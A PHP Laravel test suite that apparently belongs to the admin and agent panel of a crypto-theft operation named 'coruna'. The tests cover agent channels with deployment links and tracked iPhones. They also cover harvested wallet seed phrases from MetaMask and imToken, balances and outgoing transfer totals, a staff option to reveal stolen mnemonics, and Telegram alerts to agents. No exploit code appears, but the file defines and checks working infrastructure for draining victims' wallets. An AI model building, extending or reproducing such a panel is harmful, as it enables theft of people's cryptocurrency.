create([ 'username' => 'agent1', 'password' => 'secret12', 'status' => 1, 'comment' => 'test', ]); $channel = Channel::query()->create([ 'channel_id' => 'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa', 'user_id' => $user->id, 'status' => 1, 'remark' => 'demo', ]); config([ 'coruna.channel_domains' => ['cdn.example.com'], 'coruna.deployment_domains' => ['cdn.example.com'], ]); $this->assertDatabaseHas('users', ['username' => 'agent1']); $this->assertDatabaseHas('channels', ['channel_id' => $channel->channel_id, 'user_id' => $user->id]); $this->assertSame( ['https://cdn.example.com/web/aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa/support.html'], $channel->supportLinks() ); } #[Test] public function disabled_agent_cannot_login(): void { User::query()->create([ 'username' => 'disabled', 'password' => 'secret12', 'status' => 0, ]); $this->post('/user/login', [ 'username' => 'disabled', 'password' => 'secret12', ])->assertOk()->assertJson(['code' => 1, 'msg' => '账号已禁用']); $this->assertGuest('agent'); } #[Test] public function enabled_agent_can_login(): void { User::query()->create([ 'username' => 'okagent', 'password' => 'secret12', 'status' => 1, ]); $this->post('/user/login', [ 'username' => 'okagent', 'password' => 'secret12', ])->assertOk()->assertJson([ 'code' => 0, 'msg' => '登录成功', 'data' => route('user.home'), ]); $this->assertAuthenticated('agent'); } #[Test] public function agent_google2fa_required_when_enabled(): void { $google2fa = app(\App\Services\AdminGoogle2fa::class); $secret = $google2fa->generateSecret(); $agent = User::query()->create([ 'username' => 'gaagent', 'password' => 'secret12', 'status' => 1, ]); $agent->forceFill([ 'google_auth_open' => 1, 'google_secret' => $secret, ])->save(); $this->post('/user/login', [ 'username' => 'gaagent', 'password' => 'secret12', ])->assertOk()->assertJson(['code' => 1, 'msg' => '请输入谷歌验证码!']); $this->assertGuest('agent'); $code = (new \PragmaRX\Google2FA\Google2FA)->getCurrentOtp($secret); $this->post('/user/login', [ 'username' => 'gaagent', 'password' => 'secret12', 'GACode' => $code, ])->assertOk()->assertJsonPath('code', 0); $this->assertAuthenticated('agent'); } #[Test] public function admin_can_create_channel_with_random_id_and_links_fallback_domains(): void { config([ 'coruna.channel_domains' => ['fallback.test'], 'coruna.deployment_domains' => ['fallback.test'], ]); $admin = Admin::query()->create(['username' => 'admin', 'password' => 'admin123']); $projects = Mockery::mock(ChannelProjectService::class); $projects->shouldReceive('generate')->once()->andReturn([ 'channel_id' => 'placeholder', 'seeds' => [ 'deployment_seed' => '11111111111111111111111111111111', 'reporting_seed' => '11111111111111111111111111111111', ], 'domains' => ['deployment' => [], 'reporting' => []], 'seeds_initialized' => false, 'sync_rebuilt' => false, 'support_path' => '/channel/x/weifile/weifile.html', 'daily_path' => '/channel/x/details/', ]); $this->app->instance(ChannelProjectService::class, $projects); $random = $this->actingAs($admin, 'admin') ->get(route('admin.channels.randomId')) ->assertOk() ->assertJsonPath('code', 0) ->json('data.channel_id'); $this->assertIsString($random); $this->assertMatchesRegularExpression(Channel::NEW_CHANNEL_ID_PATTERN, $random); $channelId = Channel::randomNewChannelId(); $this->assertMatchesRegularExpression(Channel::NEW_CHANNEL_ID_PATTERN, $channelId); $this->actingAs($admin, 'admin') ->post(route('admin.channels.store'), [ 'channel_id' => $channelId, 'user_id' => 0, 'remark' => 'official', 'status' => 1, ]) ->assertOk() ->assertJsonPath('code', 0) ->assertJsonPath('data.builder_type', Channel::BUILDER_NEW) ->assertJsonPath('data.links.0', 'https://fallback.test/channel/'.$channelId.'/weifile/weifile.html'); $this->assertDatabaseHas('channels', [ 'channel_id' => $channelId, 'builder_type' => Channel::BUILDER_NEW, 'user_id' => 0, 'remark' => 'official', ]); } #[Test] public function agent_only_sees_own_channel_devices_and_addresses(): void { $agentA = User::query()->create(['username' => 'a', 'password' => 'secret12', 'status' => 1]); $agentB = User::query()->create(['username' => 'b', 'password' => 'secret12', 'status' => 1]); $chA = 'bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb'; $chB = 'cccccccccccccccccccccccccccccccc'; Channel::query()->create(['channel_id' => $chA, 'user_id' => $agentA->id, 'status' => 1]); Channel::query()->create(['channel_id' => $chB, 'user_id' => $agentB->id, 'status' => 1]); $devA = Device::query()->create([ 'device_id' => 'dev-a', 'channel_id' => $chA, 'device_model' => 'iPhone', ]); $devB = Device::query()->create([ 'device_id' => 'dev-b', 'channel_id' => $chB, 'device_model' => 'iPhone', ]); WalletAddress::query()->create([ 'device_id' => $devA->id, 'address' => 'addr-a', 'source' => 'imToken', 'chain_type' => 'ETH', ]); WalletAddress::query()->create([ 'device_id' => $devB->id, 'address' => 'addr-b', 'source' => 'imToken', 'chain_type' => 'ETH', ]); $this->actingAs($agentA, 'agent') ->getJson(route('user.devices.data')) ->assertOk() ->assertJsonPath('count', 1) ->assertJsonPath('data.0.device_id', 'dev-a'); $this->actingAs($agentA, 'agent') ->getJson(route('user.addresses.data')) ->assertOk() ->assertJsonPath('count', 1) ->assertJsonPath('data.0.address', 'addr-a'); $this->actingAs($agentA, 'agent') ->get(route('user.devices.show', $devB)) ->assertForbidden(); } #[Test] public function admin_agent_filter_scopes_devices(): void { $admin = Admin::query()->create(['username' => 'admin', 'password' => 'admin123']); $agent = User::query()->create(['username' => 'filter-me', 'password' => 'secret12', 'status' => 1]); $ch = 'dddddddddddddddddddddddddddddddd'; $official = 'cccccccccccccccccccccccccccccccc'; Channel::query()->create(['channel_id' => $ch, 'user_id' => $agent->id, 'status' => 1]); Channel::query()->create(['channel_id' => $official, 'user_id' => Channel::OFFICIAL_USER_ID, 'status' => 1]); Device::query()->create(['device_id' => 'mine', 'channel_id' => $ch]); Device::query()->create(['device_id' => 'official-dev', 'channel_id' => $official]); Device::query()->create(['device_id' => 'other', 'channel_id' => 'eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee']); $this->actingAs($admin, 'admin') ->getJson(route('admin.devices.data', ['agent_user_id' => $agent->id])) ->assertOk() ->assertJsonPath('count', 1) ->assertJsonPath('data.0.device_id', 'mine'); $this->actingAs($admin, 'admin') ->getJson(route('admin.devices.data', ['agent_user_id' => 0])) ->assertOk() ->assertJsonPath('count', 1) ->assertJsonPath('data.0.device_id', 'official-dev'); } #[Test] public function dashboard_counts_smoke(): void { $admin = Admin::query()->create(['username' => 'admin', 'password' => 'admin123']); $d1 = Device::query()->create([ 'device_id' => 'd1', 'channel_id' => 'ffffffffffffffffffffffffffffffff', 'ios_version' => '15.8.4', ]); Device::query()->create([ 'device_id' => 'd2', 'channel_id' => 'ffffffffffffffffffffffffffffffff', 'ios_version' => '15.8.4', ]); Device::query()->create([ 'device_id' => 'd3', 'channel_id' => 'ffffffffffffffffffffffffffffffff', 'ios_version' => '18.5', ]); WalletAddress::query()->create([ 'device_id' => $d1->id, 'address' => 'TTestAddress111111111111111111111', 'chain_type' => 'TRON', 'usdt' => '10.5', 'trx' => '2', 'eth' => '0', 'btc' => '0.001', 'bnb' => '1.25', ]); WalletAddress::query()->create([ 'device_id' => $d1->id, 'address' => '0xabcdefabcdefabcdefabcdefabcdefabcdefabcd', 'chain_type' => 'ETH', 'usdt' => '1.5', 'trx' => '0', 'eth' => '0.1', 'btc' => '0', 'bnb' => '0', ]); WalletMnemonic::query()->create([ 'device_id' => $d1->id, 'source' => 'MetaMask', 'mnemonic' => 'abandon abandon abandon abandon abandon abandon abandon abandon abandon abandon abandon about', ]); WalletMnemonic::query()->create([ 'device_id' => $d1->id, 'source' => 'imToken', 'mnemonic' => 'legal winner thank year wave sausage worth useful legal winner thank yellow', ]); TransferRecord::query()->create([ 'from_address' => 'TTestAddress111111111111111111111', 'to_address' => 'TTo', 'chain' => 'tron', 'tx_hash' => 'tx-usdt', 'amount' => '10.5', 'type' => TransferRecord::TYPE_OUT, 'asset' => 'USDT', 'status' => TransferRecord::STATUS_SUCCESS, ]); TransferRecord::query()->create([ 'from_address' => 'TTestAddress111111111111111111111', 'to_address' => 'TTo', 'chain' => 'tron', 'tx_hash' => 'tx-trx', 'amount' => '3.25', 'type' => TransferRecord::TYPE_OUT, 'asset' => 'TRX', 'status' => TransferRecord::STATUS_SUCCESS, ]); TransferRecord::query()->create([ 'from_address' => '0xabcdefabcdefabcdefabcdefabcdefabcdefabcd', 'to_address' => '0xto', 'chain' => 'eth', 'tx_hash' => 'tx-eth', 'amount' => '0.1', 'type' => TransferRecord::TYPE_OUT, 'asset' => 'ETH', 'status' => TransferRecord::STATUS_SUCCESS, ]); TransferRecord::query()->create([ 'from_address' => 'TTestAddress111111111111111111111', 'to_address' => 'TTo', 'chain' => 'tron', 'tx_hash' => 'tx-fail', 'amount' => '99', 'type' => TransferRecord::TYPE_OUT, 'asset' => 'USDT', 'status' => TransferRecord::STATUS_FAILED, ]); $this->actingAs($admin, 'admin') ->getJson(route('admin.dashboard.data', ['range' => '30d'])) ->assertOk() ->assertJsonPath('code', 0) ->assertJsonPath('data.total', 3) ->assertJsonPath('data.mnemonic_count', 2) ->assertJsonPath('data.address_count', 2) ->assertJsonPath('data.balances.usdt', '12') ->assertJsonPath('data.balances.trx', '2') ->assertJsonPath('data.balances.eth', '0.1') ->assertJsonPath('data.balances.btc', '0.001') ->assertJsonPath('data.balances.bnb', '1.25') ->assertJsonPath('data.transfer_count', 3) ->assertJsonPath('data.transfers.usdt', '10.5') ->assertJsonPath('data.transfers.trx', '3.25') ->assertJsonPath('data.transfers.eth', '0.1') ->assertJsonPath('data.transfers.btc', '0') ->assertJsonStructure(['data' => ['total', 'wallet_count', 'new_count', 'active_count', 'pv', 'uv', 'effective_pv', 'effective_uv', 'mnemonic_count', 'address_count', 'balances', 'transfer_count', 'transfers', 'from', 'to', 'date_from', 'date_to']]); } #[Test] public function dashboard_date_range_filters_all_metrics(): void { $admin = Admin::query()->create(['username' => 'admin', 'password' => 'admin123']); $inRange = Device::query()->create([ 'device_id' => 'in-range', 'channel_id' => 'ffffffffffffffffffffffffffffffff', 'ios_version' => '15.8.4', 'has_wallet' => Device::WALLET_YES, ]); \Illuminate\Support\Facades\DB::table('devices')->where('id', $inRange->id)->update([ 'created_at' => '2026-08-10 12:00:00', 'updated_at' => '2026-08-10 12:00:00', ]); $outOfRange = Device::query()->create([ 'device_id' => 'out-of-range', 'channel_id' => 'ffffffffffffffffffffffffffffffff', 'ios_version' => '18.5', 'has_wallet' => Device::WALLET_YES, ]); \Illuminate\Support\Facades\DB::table('devices')->where('id', $outOfRange->id)->update([ 'created_at' => '2026-07-01 12:00:00', 'updated_at' => '2026-07-01 12:00:00', ]); $addr = WalletAddress::query()->create([ 'device_id' => $inRange->id, 'address' => 'TInRangeAddr111111111111111111111', 'chain_type' => 'TRON', 'usdt' => '5', 'trx' => '1', ]); \Illuminate\Support\Facades\DB::table('wallet_addresses')->where('id', $addr->id)->update([ 'created_at' => '2026-08-10 12:00:00', 'updated_at' => '2026-08-10 12:00:00', ]); $oldAddr = WalletAddress::query()->create([ 'device_id' => $outOfRange->id, 'address' => 'TOutOfRangeAddr11111111111111111', 'chain_type' => 'TRON', 'usdt' => '3', 'trx' => '2', ]); \Illuminate\Support\Facades\DB::table('wallet_addresses')->where('id', $oldAddr->id)->update([ 'created_at' => '2026-07-01 12:00:00', 'updated_at' => '2026-07-01 12:00:00', ]); $mn = WalletMnemonic::query()->create([ 'device_id' => $inRange->id, 'source' => 'MetaMask', 'mnemonic' => 'abandon abandon abandon abandon abandon abandon abandon abandon abandon abandon abandon about', ]); \Illuminate\Support\Facades\DB::table('wallet_mnemonics')->where('id', $mn->id)->update([ 'created_at' => '2026-08-10 12:00:00', 'updated_at' => '2026-08-10 12:00:00', ]); $inTx = TransferRecord::query()->create([ 'from_address' => 'TInRangeAddr111111111111111111111', 'to_address' => 'TTo', 'chain' => 'tron', 'tx_hash' => 'in-tx', 'amount' => '4.2', 'type' => TransferRecord::TYPE_OUT, 'asset' => 'USDT', 'status' => TransferRecord::STATUS_SUCCESS, ]); \Illuminate\Support\Facades\DB::table('transfer_records')->where('id', $inTx->id)->update([ 'created_at' => '2026-08-10 12:00:00', 'updated_at' => '2026-08-10 12:00:00', ]); $outTx = TransferRecord::query()->create([ 'from_address' => 'TOutOfRangeAddr11111111111111111', 'to_address' => 'TTo', 'chain' => 'tron', 'tx_hash' => 'out-tx', 'amount' => '9', 'type' => TransferRecord::TYPE_OUT, 'asset' => 'USDT', 'status' => TransferRecord::STATUS_SUCCESS, ]); \Illuminate\Support\Facades\DB::table('transfer_records')->where('id', $outTx->id)->update([ 'created_at' => '2026-07-01 12:00:00', 'updated_at' => '2026-07-01 12:00:00', ]); $this->actingAs($admin, 'admin') ->getJson(route('admin.dashboard.data', [ 'date_from' => '2026-08-01', 'date_to' => '2026-08-15', ])) ->assertOk() ->assertJsonPath('code', 0) ->assertJsonPath('data.total', 1) ->assertJsonPath('data.new_count', 1) ->assertJsonPath('data.wallet_count', 1) ->assertJsonPath('data.mnemonic_count', 1) ->assertJsonPath('data.address_count', 1) ->assertJsonPath('data.balances.usdt', '5') ->assertJsonPath('data.transfer_count', 1) ->assertJsonPath('data.transfers.usdt', '4.2') ->assertJsonPath('data.date_from', '2026-08-01') ->assertJsonPath('data.date_to', '2026-08-15'); } #[Test] public function admin_can_create_and_update_agent_album_storage_default(): void { $admin = Admin::query()->create(['username' => 'admin', 'password' => 'admin123']); $this->actingAs($admin, 'admin') ->post(route('admin.agents.store'), [ 'username' => 'albumagent', 'password' => 'secret12', 'status' => 1, ]) ->assertOk() ->assertJsonPath('code', 0); $agent = User::query()->where('username', 'albumagent')->first(); $this->assertNotNull($agent); $this->assertFalse($agent->albumStorageDefaultEnabled()); $this->actingAs($admin, 'admin') ->put(route('admin.agents.update', $agent), [ 'album_storage_default' => 1, ]) ->assertOk() ->assertJsonPath('code', 0); $this->assertTrue($agent->fresh()->albumStorageDefaultEnabled()); $this->actingAs($admin, 'admin') ->getJson(route('admin.agents.data')) ->assertOk() ->assertJsonFragment(['username' => 'albumagent', 'album_storage_default' => 1]); } #[Test] public function admin_can_create_and_update_agent_mnemonic_reveal(): void { $admin = Admin::query()->create(['username' => 'admin', 'password' => 'admin123']); $this->actingAs($admin, 'admin') ->post(route('admin.agents.store'), [ 'username' => 'revealagent', 'password' => 'secret12', 'status' => 1, 'can_reveal_mnemonics' => 1, ]) ->assertOk() ->assertJsonPath('code', 0); $agent = User::query()->where('username', 'revealagent')->first(); $this->assertNotNull($agent); $this->assertTrue($agent->mnemonicRevealEnabled()); $this->assertFalse($agent->canRevealMnemonics()); config(['coruna.mnemonic_reveal.staff_enabled' => true]); $this->assertTrue($agent->fresh()->canRevealMnemonics()); $this->actingAs($admin, 'admin') ->put(route('admin.agents.update', $agent), [ 'can_reveal_mnemonics' => 0, ]) ->assertOk(); $this->assertFalse($agent->fresh()->mnemonicRevealEnabled()); } #[Test] public function agent_page_hides_mnemonic_reveal_when_env_off(): void { config(['coruna.mnemonic_reveal.staff_enabled' => false]); $admin = Admin::query()->create(['username' => 'admin', 'password' => 'admin123']); User::query()->create(['username' => 'hideagent', 'password' => 'secret12', 'status' => 1]); $this->actingAs($admin, 'admin') ->get(route('admin.agents.index')) ->assertOk() ->assertDontSee('查看助记词', false); $this->actingAs($admin, 'admin') ->getJson(route('admin.agents.data')) ->assertOk() ->assertJsonPath('data.0.username', 'hideagent') ->assertJsonMissingPath('data.0.can_reveal_mnemonics'); config(['coruna.mnemonic_reveal.staff_enabled' => true]); $this->actingAs($admin, 'admin') ->get(route('admin.agents.index')) ->assertOk() ->assertSee('查看助记词', false); $this->actingAs($admin, 'admin') ->getJson(route('admin.agents.data')) ->assertOk() ->assertJsonPath('data.0.can_reveal_mnemonics', 0); } #[Test] public function agent_list_shows_google_bound_status(): void { $admin = Admin::query()->create(['username' => 'admin', 'password' => 'admin123']); User::query()->create(['username' => 'unbound', 'password' => 'secret12', 'status' => 1]); $bound = User::query()->create(['username' => 'bound', 'password' => 'secret12', 'status' => 1]); $bound->forceFill(['google_secret' => 'JBSWY3DPEHPK3PXP'])->save(); $this->actingAs($admin, 'admin') ->get(route('admin.agents.index')) ->assertOk() ->assertSee('谷歌验证', false); $this->actingAs($admin, 'admin') ->getJson(route('admin.agents.data')) ->assertOk() ->assertJsonFragment(['username' => 'unbound', 'google_bound' => 0]) ->assertJsonFragment(['username' => 'bound', 'google_bound' => 1]); } #[Test] public function agent_cannot_create_channel(): void { $agent = User::query()->create(['username' => 'a', 'password' => 'secret12', 'status' => 1]); $this->actingAs($agent, 'agent') ->post('/user/channels', [ 'channel_id' => 'gggggggggggggggggggggggggggggggg', 'status' => 1, ]) ->assertStatus(405); } #[Test] public function admin_can_send_agent_telegram_test(): void { config(['coruna.telegram.bot_token' => 'system-token']); \Illuminate\Support\Facades\Http::fake([ 'api.telegram.org/*' => \Illuminate\Support\Facades\Http::response(['ok' => true], 200), ]); $admin = Admin::query()->create(['username' => 'admin', 'password' => 'admin123']); $agent = User::query()->create([ 'username' => 'tgagent', 'password' => 'secret12', 'status' => 1, 'chat_id' => '-200', ]); $this->actingAs($admin, 'admin') ->post(route('admin.agents.telegramTest'), [ 'agent_id' => $agent->id, 'chat_id' => '-300', ]) ->assertOk() ->assertJsonPath('code', 0); \Illuminate\Support\Facades\Http::assertSent(function ($request) { $text = (string) ($request->data()['text'] ?? ''); return str_contains($request->url(), '/botsystem-token/') && ($request->data()['chat_id'] ?? null) === '-300' && str_contains($text, 'Telegram 测试') && str_contains($text, 'tgagent'); }); } #[Test] public function agent_telegram_test_requires_chat_id(): void { config(['coruna.telegram.bot_token' => 'system-token']); $admin = Admin::query()->create(['username' => 'admin', 'password' => 'admin123']); $this->actingAs($admin, 'admin') ->post(route('admin.agents.telegramTest'), []) ->assertOk() ->assertJsonPath('code', 1) ->assertJsonPath('msg', '未填写 Chat ID'); } }